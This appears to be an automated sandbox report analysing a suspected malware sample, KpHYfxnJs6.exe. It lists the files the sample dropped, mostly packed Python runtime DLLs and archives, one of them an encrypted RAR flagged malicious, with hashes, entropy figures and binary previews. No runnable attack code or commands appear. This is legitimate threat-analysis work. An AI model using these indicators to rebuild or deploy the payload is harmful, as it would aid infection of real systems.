Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50, 13.85.23.206, 40.69.42.241, 142.250.185.195, 13.107.246.45
Excluded domains from analysis (whitelisted): fe3.delivery.mp.microsoft.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, glb.cws.prod.dcat.dsp.trafficmanager.net, gstatic.com, sls.update.microsoft.com, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target KpHYfxnJs6.exe, PID 7320 because there are no executed function
Execution Graph export aborted for target KpHYfxnJs6.exe, PID 7732 because there are no executed function
Execution Graph export aborted for target mshta.exe, PID 8168 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 7048 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:19:21	API Interceptor	133x Sleep call for process: powershell.exe modified
01:19:22	API Interceptor	8x Sleep call for process: WMIC.exe modified

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	1244
Entropy (8bit):	5.378563660172776
Encrypted:	false
SSDEEP:	24:3RfWSKco4KmZjKbm51s4RPT6moUebIKo+mZ9tXt/NK3R8qrs:5WSU4xymI4RfoUeW+mZ9tlNWR8qA
MD5:	C558085590884BA7195913DD0E44582F
SHA1:	5132D7FACAE7A09E0AEFBE7EABF69106CA55E609
SHA-256:	21A4036000FEA9E1B5F3548E0900ED3268D007CA80FF982724C48569D73D56AE
SHA-512:	536A6DC6798D2812027D69DAC5BB998256FC159F4C22E5CAF928339424ADBE97C421FD8E964FDEAEF9903024B1363821138D0C7E17FC54081FA0A4D3C8298B77
Malicious:	false
Reputation:	unknown
Preview:	@...e.................................:..............@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.D....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\ ? \Display (1).png

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	704560
Entropy (8bit):	7.9282919345296925
Encrypted:	false
SSDEEP:	12288:NCJt7Gi9YHYWTnROPopFVOo0SrQLTZ6BfY0f9wb4UyJ2OtOgQf/3hkdN:NCT9qTnU6FtrQLVyfY0f9WtfhXfP+dN
MD5:	F29A15EEE3DB90905B9A36E712392BE3
SHA1:	9A5351EB40071CB4F48AF24C5AF283C69E81166E
SHA-256:	270C511F7BB40AAF3BAE5488BDA9910B05BB059640D7C06D77215E749B951258
SHA-512:	707C3BE5E1EFBA3350AB416D24C2CC051C7CB33C5DD6C58D7DAEBF0857BEBBDC830E8FE7B5A02A09611E6B38CB30ACB9C30C4F516E4C148BC16EFA9609449AFF
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^...]...^.v..{NW...)..3.].=..9m.v.m.EH..lc...x7.}........`..$.b....-..I...........R.89.w"./..\|.......Z.7BoY..M.s3c+......m..?2...0....9.s....~....#}..x_.d$....5@....v...}.z......v.k..T..)...'..N..X..}'.e-....mA..C.~....WP?vI..^S;fqG..=t.G-...&.#_..}?[8...rO..........aS.....?~1...A....%}?.q}........{......g.D...%.......<.....<U..>......7...\|........x_.....-...O.W.H..T..... 6.O&......P?.....~C......T....A.yK}..v.Ca....c.?2....N.}....}..(.L..'..G}..C.....q\?..c\k..\|.~.c...../.J.k...<..o.yUl.......{.{.....}1.......)6n....}b..1..{...y..v_..17.v........-.4....{^..s..v,..G;....zo.c.....6;.6...G.C...>7..#.[...8...D}.{.....{.}c....=..-....=...%...$.v.;.w...1..#^+....Lycw....[.n..%.......?..].I....9.c.s.......v....\|D....H..pg....lB..w'.<b}..}...O.3.mwG..!.o.X}......c....>h/...>........x.v1o..C..x..'.<A.y`n...3.1.O......m)....).\].k1..i..q,..kN.

C:\Users\user\AppData\Local\Temp\CoY55.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe
File Type:	RAR archive data, v5
Category:	dropped
Size (bytes):	755918
Entropy (8bit):	7.999753224954264
Encrypted:	true
SSDEEP:	12288:wKYOGvcMY9XCDe6JUvt1ekT0+y2PUJvLoB8mAwGjK1cpTXoKWO6EDXmz9nLN8CGI:HYVWhSJUvik9sJDI8mGjK1cpboKWO6E2
MD5:	D2E40973483140EFCD32F357D22FAD0A
SHA1:	397AE63687109602E54ECF817EF2D495D3F9056D
SHA-256:	F792D64BBB2E4E8252168BFEAB977A61DF58D90B3E1AA6A950E1A0ED52016CF6
SHA-512:	6931B9B5B86B78E5BC40B71794671B50CAFC81E636A5674F89838FF2BE94BAD7B6B5596C52C783D56D6FC9654E197C7B250C5357A84BA2A0F1D8FCA9CA8BBF45
Malicious:	true
Reputation:	unknown
Preview:	Rar!.....ww.!......J..C259...{.\.......C....XK....]D._.e.]&/..=?..Q.4....\|ym..8'8..{4...\....=#..[......KPE.`..4.![>>.[..w@"n.ukAV.u..E..~[..w...hH...k.....3.....e....!..`......E.V(.,.W..;...W.S........M2.g......&....(H.....(.'.ED%.w........QF.~j.6h......I.{........}.0.K..&....pp..%.+&...X~..d..`XsVY.......Ai.@.,0..v..h. ... ........!%.q."G.t^y..&....xi..$7J.a:.1.^'.......V...3z....\|\..,.gZP."..JnK/..,F.j.\....K...hI.mK.v$G."..kA#.g.1..~2.9l.3@Q.<^:[..8...#[1..lp}U..oSn.bOlQ......f.:.Vypp........A.s....K............8.\|......_v.\ &...G.RGVy...v4u.bb.:+%@ZR.....PWT5=&....p"3..[.6....mQ&&...^.a.wn.Y.>...8c.+pK.MX2.d...f.....Yk.)/....n_?,.,.l...Z..,.4u..9w..I.Mh[..E...B..^....u..i....e.h./..u.&.f...<u^....d....XX:4....#e...$.-.......Yy.5..'..(,9]i..>....w.E..S. ..B........ub...!...~....jp.uxbq~..R'/..rf..P..,r....\|c.]./..hyH......x......,l7. ..F.`.\|3{."S...t...Q;..W..5......*.......a.u.........3'bpXy..."_..9..?+./.[$..7-sj.].n.B.....@..e........_

C:\Users\user\AppData\Local\Temp\RESED03.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x4b6, 9 symbols, created Sun Jan 5 07:27:12 2025, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1372
Entropy (8bit):	4.101160200971171
Encrypted:	false
SSDEEP:	24:HDFq9s+fbkDfHhwKMfWvrxfwI+ycuZhN7iakSajPNnqS+d:jgbiqKYWvFo1ulOa3aqSe
MD5:	86127ED35F6AFAAAD71C18D6D3460552
SHA1:	CE11B7CA8CACF111D38CC476BC425FCA3DC2F747
SHA-256:	F465BC5BA99C8BFA36B7AE08BB817836485D2563AE740C9DD895864819DF7DE7
SHA-512:	E08472DF005F5C906C1D4084D725C74372AB814555BE4ACF85E3FC6601B55C238530466814884BD954173566A1023245D3FD163D6255E7D5F324621B38E0042B
Malicious:	false
Reputation:	unknown
Preview:	L...P4zg.............debug$S........x...................@..B.rsrc$01........X.......\...........@..@.rsrc$02........P...f...............@..@........T....c:\Users\user\AppData\Local\Temp\bifucm0t\CSCB2EB15F711B84CFFA3556DECAB136738.TMP..................M...@./C.K<...........4.......C:\Users\user\AppData\Local\Temp\RESED03.tmp.-.<....................a..Microsoft (R) CVTRES...=..cwd.C:\Users\user\AppData\Local\Temp\...........exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...b.i.f.u.c.m.0.t...d.l.l.....(.....L.e.g.a.

C:\Users\user\AppData\Local\Temp\_MEI73202\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\Desktop\KpHYfxnJs6.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80800
Entropy (8bit):	6.781496286846518
Encrypted:	false
SSDEEP:	1536:FRk1rh/be3Z1bij+8xG+sQxzQF50I9VSHIecbWZOUXYOe0/zuvY:FRk/+Z1z8s+s+QrTmIecbWIA7//gY
MD5:	1E6E97D60D411A2DEE8964D3D05ADB15
SHA1:	0A2FE6EC6B6675C44998C282DBB1CD8787612FAF
SHA-256:	8598940E498271B542F2C04998626AA680F2172D0FF4F8DBD4FFEC1A196540F9
SHA-512:	3F7D79079C57786051A2F7FACFB1046188049E831F12B549609A8F152664678EE35AD54D1FFF4447428B6F76BEA1C7CA88FA96AAB395A560C6EC598344FCC7FA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Y.Dq.."..".."..+#.."..".."..+"4."}.)#.."}..#.."}./#.."}.#.."}..".."}.(#.."Rich.."........................PE..L...7.O.........."!... .....................................................P............@A........................0........ .......0...................'...@.......$..T............................#..@............ ...............................text...D........................... ..`.data...............................@....idata....... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73202\_bz2.pyd

Download File

Process:	C:\Users\user\Desktop\KpHYfxnJs6.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	44416
Entropy (8bit):	7.783586529830432
Encrypted:	false
SSDEEP:	768:xVhO4M5bIfA9H2Bs9YnYMfUwRVgXm6kTmnbcuyD7U1IDtVD8GYiSyvcPxWE+9:m5MfA9gs9IY0UwZ6kinouy81IDtVDn7l
MD5:	93C79A5FAAA4D320432B06AE2879F1F4
SHA1:	772B881874A3947F2205644DF6EBA5972366AAB6
SHA-256:	02EDA0188E989264FFB5BFE4474EF1BFA36F8A0BAEE6764E11B4AA604CC30D47
SHA-512:	4757E41FA5260601246EE851D43FCFFA17EB591DD4E5F987E18B77D9C3269431A610F9B32EBC507C64394C29AFE3F7C030D5448417490431742C6C462F156B06
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l0.9(Qgj(Qgj(Qgj!).j"Qgj.fkQgj..j+Qgj.bk$Qgj.ck"Qgj.dkQgj.fk+Qgjc)fkQgj(QfjtQgj.ok Qgj.gk)Qgj..j)Qgj.*ek)QgjRich(Qgj........................PE..L...6.Vc...........!...!.............V.......p............................................@.........................P{..H....y.......p.......................{.. ....................................b..............................................UPX0....................................UPX1.............t..................@....rsrc........p.......x..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI73202\_ctypes.pyd

Download File

Process:	C:\Users\user\Desktop\KpHYfxnJs6.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	52600
Entropy (8bit):	7.777741053822562
Encrypted:	false
SSDEEP:	1536:Nwk9VLAEGrp/zkMJBMwCurvnouy8RIDQPzx7SyGvPx8:Ck9VSgMJBMBuroutRIDQPzxk3x8
MD5:	35001F868CBC1C3DCD337B1915356B09
SHA1:	4B1C0E51ED920D29894739DB618952632D6275AA
SHA-256:	7753972DB061B3FD543EC69ED478E05FE6D98E56960C3BDFAA101164A2508FBD
SHA-512:	FA9628A69FC532B3805CCA46D4CDBDB40AC4A8187D87FD469B522797368D588D16A2CB286C43544137849858444F71410DEED90DDE0CAC5A34C9C55D69DDF1AC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<.f.x...x...x...q...~.......z.......s.......r.......}.......z...3...y...3...~......{...x...........~.......y.......y.......y...Richx...........PE..L...3.Vc...........!...!.........0..p....@................................................@.....................................X...........................\|... ...................................P...............................................UPX0.....0..............................UPX1.........@......................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI73202\_decimal.pyd

Download File

Process:	C:\Users\user\Desktop\KpHYfxnJs6.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	79736
Entropy (8bit):	7.899012395054576
Encrypted:	false
SSDEEP:	1536:yw/aniAME5OmGy0wakNmsmhGJAylteE9P+AOFGkpwy+Cxt8U2VjInouy8tID5q4d:yw1U5Om50wakNCEJNea+AO/xX0U2lgov
MD5:	B6F3B12773DCEB50350A472A52C67B74
SHA1:	2B260CCC29D576BB3C7B6E845F1AEC2DF0028F81
SHA-256:	65DDF0408964EAF41946ABF0A28E75023E8A872595056B0D9CDB15C5ADDC71BF
SHA-512:	BDDB3927BB91A82C8D755B5F17E17D5AD8B56D6F24471FECC8FF37E09C12C6750F583A0199114539185FEC17E46F49FE7C381C449BD799DACEFDD4CBBBFC7750
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\|g...4...4...4..4...4M..5...4M..5...4M..5...4M..5...4C..5...4...5...4...4W..4C..5...4C..5...4C..4...4C..5...4Rich...4................PE..L.....Vc...........!...!.........0.......@...@...............................P............@.........................hL..P....I.......@.......................L.. ....................................:..............................................UPX0.....0..............................UPX1.........@......................@....rsrc........@......................@......................................................................................................................................................................................................................................................................................................................................................................4.02.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI73202\_hashlib.pyd

Download File

Process:	C:\Users\user\Desktop\KpHYfxnJs6.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	29560
Entropy (8bit):	7.605780197396166
Encrypted:	false
SSDEEP:	768:lrN4GP6S86vyQRq3l021XqnbcuyD7UAID5I+OYiSyvtpPxWEHdxFAy:1NbP6Shzc3l5qnouy8AID5I+O7SynPxF
MD5:	368C589936DD438AB4BA01E699B2D057
SHA1:	66A0A47A210279066D7D6906FC0502B6D0136AB7
SHA-256:	35BB95A6C8DD259CCC7EE01EF2C5142D83A41C188BFC1A7D888E3B6988E8E3B7
SHA-512:	61DF0FBD6D668D1AAE6555A0199BF6E1C28437D3A3E7BF190C4818908CBCB64D08D6D745B01A692CC2FEA6BA101521223DA2648F6438870249BD5F3EA5E549F4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........y............`.....1c.....1c.....1c.....1c.....?c......`......b........2...?c.....?c.....?cl....?c.....Rich............................PE..L...F.Vc...........!...!.@..........`.....................................................@.........................H...P....................................... ...................................8...............................................UPX0....................................UPX1.....@.......:..................@....rsrc................>..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI73202\_lzma.pyd

Download File

Process:	C:\Users\user\Desktop\KpHYfxnJs6.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	80248
Entropy (8bit):	7.902906377668485
Encrypted:	false
SSDEEP:	1536:emtCbhoeYULPV3Ky6JmLhVPSFJSHDva77A/2A2nouy8OIDe1o77SyOPx7E:emsbhlD1xL7WSbsAuAGoutOIDe1o74xI
MD5:	945C87E35009C0E335A5798D26A6BFF5
SHA1:	D154E1DBE948EA34C49C598ECB1BA5046CE5701E
SHA-256:	77E99912E32361E6AF44676C841F1DA7F028CD01886AF6173BD25A8B6C97C748
SHA-512:	130A0028828D4509BB014BE3ADD814BC638851B8522E1B49C960689435978737B77D892F2AA35E830736F2ED0166DACE753B5422A85E14C4A75310488C28748C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........".v.C.%.C.%.C.%.;.%.C.%.8.$.C.%.8.$.C.%.8.$.C.%.8.$.C.%.8.$.C.%.;.$.C.%.C.%.C.%.8.$.C.%.8.$.C.%.8n%.C.%.8.$.C.%Rich.C.%................PE..L...K.Vc...........!...!.........P...Q...`...`...............................p............@..........................k..L....i..h....`......................Pk.......................................]..............................................UPX0.....P..............................UPX1.........`......................@....rsrc........`......................@......................................................................................................................................................................................................................................................................................................................................................................4.02.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI73202\_queue.pyd

Download File

Process:	C:\Users\user\Desktop\KpHYfxnJs6.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	23936
Entropy (8bit):	7.407072491142335
Encrypted:	false
SSDEEP:	384:Hfff0Aj/bjIB4aNJawcudoD7UXtID7U+d9IYiSy1pCQmPPxh8E9VF0NyKvI:/fMaOnbcuyD7UdID7U+sYiSyvGPxWE0
MD5:	F43666BF65895BFBAE75047BB1C6E3BC
SHA1:	68BDBBC96C1E0FD742BAF12E70CB3F7BCF3C36BD
SHA-256:	99575C81CD208C47B6CC4C61624AC65C31B91EA957B68D5C3C82A6A6C37CFA70
SHA-512:	90BBF0749498CAEC97AD754D844F3D6430AEAC2A38E9F8A93CCC1BEA4FDC71290A1496BA68D9932588CCAD22FBF0D20A8DF2A651CA310CFAC81B632A04A0F271
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........]...]...]...T.H._......._.......V.......W.......\.......^......._...]...........\.......\.....$.\.......\...Rich]...................PE..L...$.Vc...........!...!.0.......p.......................................................@............................L.......(............................... ...................................................................................UPX0.....p..............................UPX1.....0.......$..................@....rsrc................(..............@......................................................................................................................................................................................................................................................................................................................................................................4.02.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI73202\_socket.pyd

Download File

Process:	C:\Users\user\Desktop\KpHYfxnJs6.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	38272
Entropy (8bit):	7.689207102116093
Encrypted:	false
SSDEEP:	768:ImNv2PUaeQ9kX6wlhywlanbcuyD7U9IDQwuIAYiSyvBZPxWE0:Imh2P4mkTYwcnouy89IDQwuIA7SyTPx
MD5:	C3F890E3039C68572F16DE4BC34D6CA1
SHA1:	D6EB20EC639643A162715C3B631AE5EDBD23FAE2
SHA-256:	BC28C36960B8028ADC4FE2CC868DF2B5C7778B4D4B0C7E15DD0B02A70AC1F5A2
SHA-512:	AD95294E61391D245DDC4ED139D9765678BB5611F45808E3C985666B53DA56F2AFD4A46697D937ED1941D7EC64108DC4EAF39144041DC66A65626C7E9DFBA90E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........................q......q.......q.......q.................C..........................................Rich...........................PE..L...E.Vc...........!...!.`...........=.......P...............................`............@.........................x[..P....Y.......P.......................[.. ...................................pI..............................................UPX0....................................UPX1.....`.......\..................@....rsrc........P.......`..............@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI73202\_sqlite3.pyd

Download File

Process:	C:\Users\user\Desktop\KpHYfxnJs6.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	44408
Entropy (8bit):	7.768973460184971
Encrypted:	false
SSDEEP:	768:C1xB4cn2W90BXWTZ6EViVCWqL8TfaLs7vlcmnbcuyD7UVID5Qz1YiSyvsPxWE0xL:Yn2W90BmcgiVLMXLCnouy8VID5Qz17Su
MD5:	0A68F6C9A099A00A5CE26D1A3951DDA9
SHA1:	B03BB0DB3F5FE67450878EA141D68E77CAD5E2AA
SHA-256:	EC9D4B312EA445806B50E00F1E4467D4923386E2220AF80AAE2A759CF633954F
SHA-512:	AD9DBEABAE6FAE3F302CAE363B8591241ADC443F5AADE9AC950EBD8F705D4D168F6EF921BC433D45F6AC34055E83FBBBE0D51EE188605B11BDA049D4DB99FE47
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......C..m..i>..i>..i>...>..i>..h?..i>...>..i>..l?..i>..m?..i>..j?..i>..h?..i>L.h?..i>..h>..i>..a?..i>..i?..i>...>..i>..k?..i>Rich..i>........PE..L...M.Vc...........!...!............`.... ................................................@.........................L...P....................................... ...................................8...............................................UPX0....................................UPX1......... ...t..................@....rsrc................x..............@......................................................................................................................................................................................................................................................................................................................................................................4.02.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI73202\_ssl.pyd

Download File

Process:	C:\Users\user\Desktop\KpHYfxnJs6.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	58240
Entropy (8bit):	7.833816786281047
Encrypted:	false
SSDEEP:	1536:w6YriPcTDlQtYkVLQxFJaUXBfZIEnouy8lIDt7zjV7SyYpPx:1R4DqNLQrcUxfZoutlIDt7zJcx
MD5:	92940DCC7B644481D182F58EC45623E7
SHA1:	374DBF370EE3A4659A600545EF4E4BA2B699DFEA
SHA-256:	B4D3B352A4AEF999497738A30236F9D96E56B1FC92FD268C1736F74C902315F9
SHA-512:	3EE1D32FF4CAA89EA98B8DEF89B9C22B32199BB3CB0196ADD71975B260BE898138D6A97DB1FF2E7C6996DD0DDD03CBECDF32C83F381C1655BB8AD4EA8BB46569
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........FT.I':.I':.I':.@_..M':..\;.K':..\?.E':..\>.C':..\9.H':..\;.K':.-];.M':.I';..&:.._;.N':..\2.K':..\:.H':..\.H':..\8.H':.RichI':.........................PE..L...M.Vc...........!...!.............Z.......p............................................@..........................{..d....y..4....p......................4\|.. ....................................f..............................................UPX0....................................UPX1................................@....rsrc........p......................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip

Download File

Process:	C:\Users\user\Desktop\KpHYfxnJs6.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1439447
Entropy (8bit):	5.586381782332628
Encrypted:	false
SSDEEP:	24576:6QRqL5TPAxNWlUKdcubgAnj90HtAWfh2dYMbPRMZdf9:6QRqL2xNbrp
MD5:	2A138E2EE499D3BA2FC4AFAEF93B7CAA
SHA1:	508C733341845E94FCE7C24B901FC683108DF2A8
SHA-256:	130E506EAD01B91B60D6D56072C468AEB5457DD0F2ECD6CE17DFCBB7D51A1F8C
SHA-512:	1F61A0FDA5676E8ED8D10DFEE78267F6D785F9C131F5CAF2DD984E18CA9E5866B7658AB7EDB2FFD74920A40FFEA5CD55C0419F5E9EE57A043105E729E10D820B
Malicious:	false
Reputation:	unknown
Preview:	PK..........!. ..y............_collections_abc.pyc............................................d.Z.d.d.l.m.Z.m.Z...d.d.l.Z...e.e.e.........................Z...e.d...............Z.d...Z...e.e...............Z.[.g.d...Z.d.Z...e...e.d.............................Z...e...e...e...........................................Z...e...e.i.................................................................Z...e...e.i.................................................................Z...e...e.i.................................................................Z...e...e.g.............................Z...e...e...e.g...........................................Z...e...e...e.d...........................................Z...e...e...e.d.d.z.............................................Z...e...e...e...........................................Z...e...e.d.............................Z ..e...e.d.............................Z!..e...e...e"..........................................Z#..e.i.......................................

C:\Users\user\AppData\Local\Temp\_MEI73202\blank.aes

Download File

Process:	C:\Users\user\Desktop\KpHYfxnJs6.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	126019
Entropy (8bit):	7.6389884717120475
Encrypted:	false
SSDEEP:	3072:eswSZ9V/18peuu7tczL2uSWFOVo5awcSm4YU6V:esZipeuu52LTk6uzU6V
MD5:	C903EBA8D9AF1B5C09B05971F1BCA0E0
SHA1:	8953D8D13DD76AE18047C34B778631FFF6BF7FCA
SHA-256:	09D5C1E3B184B77C40F80EF33972689C88982C7277395DEB0E2F1040B04AC4A5
SHA-512:	03328178DD3292BDB473633805C716FE07BC2F48BA9DBDDEC649056F234B043391DDE99451C7A05671F05732F4239964DE4B65538900C50F180EFC227641B0B8
Malicious:	false
Reputation:	unknown
Preview:	PK..........$Zl...............stub-o.pyc..........yg.U........................j.......e.....e...e...e.g.d.....................................................................e.g.d.....................................................................e.g.d.................................................................................Z...e.....e...e...e.g.d.....................................................................e.g.d.....................................................................e.g.d.................................................................................Z...e.....e...e...e.g.d.....................................................................e.g.d.....................................................................e.g.d.................................................................................Z...e.....e...e...e.g.d.....................................................................e.g.d.................................................................

C:\Users\user\AppData\Local\Temp\_MEI73202\libcrypto-1_1.dll

Download File

Process:	C:\Users\user\Desktop\KpHYfxnJs6.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	771424
Entropy (8bit):	7.88741146043164
Encrypted:	false
SSDEEP:	12288:HbHYv2qcP8h9bi+7kBudnb8ss83EyWqCc3fOxYFP2L9Jfvn7aGWRhTBhW2RDoS6G:TYOB8h9O+Aqbm83EyWqC3e69xTaxRhbv
MD5:	F05C8BBD35947B9019EF5F1D427CB07E
SHA1:	8703DF14305DC624A59808884D71E73877D509B4
SHA-256:	2267F63A35FD3FF9599867A87FCB8123EA0E872A275F236A053CE8B1D13642D6
SHA-512:	706058940F03E84045217CF99DF0BF2A1E3CAFD9AE61DAA79ACFFA863B5403142859C1B66901D4A4DEEBEC77B5E3C4674EFA862F01211218F377D02A0A3AA19F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<K.0x.cx.cx.cqR'cl.c.P.bz.c.P.bs.c.P.br.c.P.bq.cx.c..c.X.bs.c.P.b.(.c.P.by.c.PKcy.c.P.by.cRichx*.c........PE..L.....b...........!... ..............#.......#...............................%...........@..........................#.......#.,.....#.....................x.%.......................................#.............................................UPX0....................................UPX1................................@....rsrc.........#.....................@......................................................................................................................................................................................................................................................................................................................................................................................4.02.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI73202\libffi-8.dll

Download File

Process:	C:\Users\user\Desktop\KpHYfxnJs6.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	23800
Entropy (8bit):	7.532310054556082
Encrypted:	false
SSDEEP:	384:HyUnSMis98QiY/zWj+KzzwI2XQcnRwgNhQaNJawcudoD7UiaRl/DG4y8gzhH:HybMycWjFL6xnag9nbcuyD7UhDG4yrhH
MD5:	DF5514796B647481D295B14A43F5287F
SHA1:	CF52BF55D81D98C46142117FB82D2A9DC7DA1B41
SHA-256:	1E1F2E32114E5C20B1B804C92618318E7A1A7524162A73155E5E1653D08F7B77
SHA-512:	379D4DB1952F9C3A21192E27D98FD9635B66BD928E448C8725D4D9EF479099674863055703B45AC4AEFD9AE478994B69948C87B558DB092944D1D636E146016A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........{...{...{.....{..z...{...z...{...z...{..~...{......{..x...{.:.....{.:.x...{.:.{...{.:.y...{.Rich..{.........PE..L...d%(a...........!.....@.......p........................................................@.................................................................t... ..................................................................................UPX0.....p..............................UPX1.....@.......6..................@...UPX2.................:..............@......................................................................................................................................................................................................................................................................................................................................................................................4.02.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI73202\libssl-1_1.dll

Download File

